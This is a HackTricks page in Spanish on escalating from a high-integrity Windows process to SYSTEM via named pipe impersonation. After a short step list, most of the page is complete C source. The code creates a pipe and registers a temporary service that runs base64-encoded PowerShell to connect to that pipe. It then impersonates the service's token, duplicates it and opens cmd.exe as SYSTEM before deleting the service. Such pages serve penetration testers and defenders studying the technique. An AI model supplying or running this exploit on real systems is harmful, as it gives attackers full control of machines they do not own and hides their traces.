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hacktricks/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

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Flujo de código:

  1. Crear un nuevo Pipe
  2. Crear y ejecutar un servicio que se conectará al pipe creado y escribirá algo. El código del servicio ejecutará este código PS codificado: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
  3. El servicio recibe los datos del cliente en el pipe, llama a ImpersonateNamedPipeClient y espera a que el servicio termine
  4. Finalmente, utiliza el token obtenido del servicio para generar un nuevo cmd.exe.

{% hint style="warning" %} Si no tienes suficientes privilegios, la explotación puede quedarse atascada y nunca devolver el control. {% endhint %}

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

	SC_HANDLE scManager;
	SC_HANDLE scService;

	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

	if (scManager == NULL) {
		return FALSE;
	}

	// create Piper service
	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
		SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
		"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
		NULL, NULL, NULL, NULL, NULL);

	if (scService == NULL) {
		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
		return FALSE;
	}

	// launch it
	StartService(scService, 0, NULL);

	// wait a bit and then cleanup
	Sleep(10000);
	DeleteService(scService);

	CloseServiceHandle(scService);
	CloseServiceHandle(scManager);
}

int main() {

	LPCSTR sPipeName = "\\\\.\\pipe\\piper";
	HANDLE hSrvPipe;
	HANDLE th;
	BOOL bPipeConn;
	char pPipeBuf[MESSAGE_SIZE];
	DWORD dBRead = 0;

	HANDLE hImpToken;
	HANDLE hNewToken;
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;

	// open pipe
	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
		PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

	// create and run service
	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

	// wait for the connection from the service
	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
	if (bPipeConn) {
		ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

		// impersonate the service (SYSTEM)
		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
			return -1;
		}

		// wait for the service to cleanup
		WaitForSingleObject(th, INFINITE);

		// get a handle to impersonated token
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
			return -2;
		}

		// create new primary token for new process
		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
			TokenPrimary, &hNewToken)) {
			return -4;
		}

		//Sleep(20000);
		// spawn cmd.exe as full SYSTEM user
		ZeroMemory(&si, sizeof(si));
		si.cb = sizeof(si);
		ZeroMemory(&pi, sizeof(pi));
		if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
			NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
			return -5;
		}

		// revert back to original security context
		RevertToSelf();

	}

	return 0;
}
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